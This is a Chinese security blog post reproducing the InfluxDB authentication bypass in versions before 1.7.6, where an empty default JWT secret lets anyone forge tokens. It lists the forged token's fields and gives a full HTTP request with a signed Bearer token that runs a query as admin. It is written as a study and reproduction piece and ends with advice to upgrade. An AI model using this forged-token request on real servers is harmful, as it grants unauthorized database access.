influxDB JWT未授权漏洞的复现以及工具

admin 2023年8月31日16:00:54评论39 views字数 1237阅读4分7秒阅读模式
01
团队声明

该漏洞为我团队漏洞监测平台发现,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

02
漏洞概述

 

 

 

InfluxDB是一款著名的时序数据库,其使用jwt作为鉴权方式。

在其1.7.6版本以前,默认设置jwt的认证密钥shared-secret为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。

漏洞原理就是1.7.6 之前的 InfluxDB 在 services/httpd/handler.go 中的身份验证函数中存在身份验证绕过漏洞,因为 JWT 令牌可能具有空的共享密钥(也称为共享密钥)

 

03
影响版本

 

InfluxDB<1.7.6。

 

04
漏洞复现

 

influxDB JWT未授权漏洞的复现以及工具

程序启动以后浏览器中输入URL,http://192.168.124.3:8086/debug/var

可以看到信息信息,如图所示:

influxDB JWT未授权漏洞的复现以及工具

通过访问http://192.168.124.3:8086/query可以看到登录页面。

influxDB JWT未授权漏洞的复现以及工具

 

通过https://jwt.io/生成Cookie,绕过身份验证,构造所需的 Token:

{

"alg": "HS256",

"typ": "JWT"

}

{

"username": "admin",

"exp": 1716239022

}

其中,username需要为已存在的用户,exp是时间戳,代表该 Token 的过期时间,所以需要生成一个未来的时间戳。1716239022转换为时间是:Tue May 21 2024 05:03:42 GMT+0800。这里将secret的值置空,得到编码后的 Token:

influxDB JWT未授权漏洞的复现以及工具

 

BP抓取/query页面的数据包,并将请求方式修改为POST,添加请求头:

POST /query HTTP/1.1

Host: 192.168.124.3:8086

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzE2MjM5MDIyfQ.jo8FUdPG0-_DBrXzkWvIja5fNbK-1rgs8pss46nKJuE

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 22

db=sample&q=show+users

influxDB JWT未授权漏洞的复现以及工具

05
整改意见

 

①升级到最新版本。

 

 

influxDB JWT未授权漏洞的复现以及工具

 

原文始发于微信公众号(小白嘿课):【严重】influxDB JWT未授权漏洞的复现以及工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月31日16:00:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   influxDB JWT未授权漏洞的复现以及工具https://cn-sec.com/archives/1998806.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息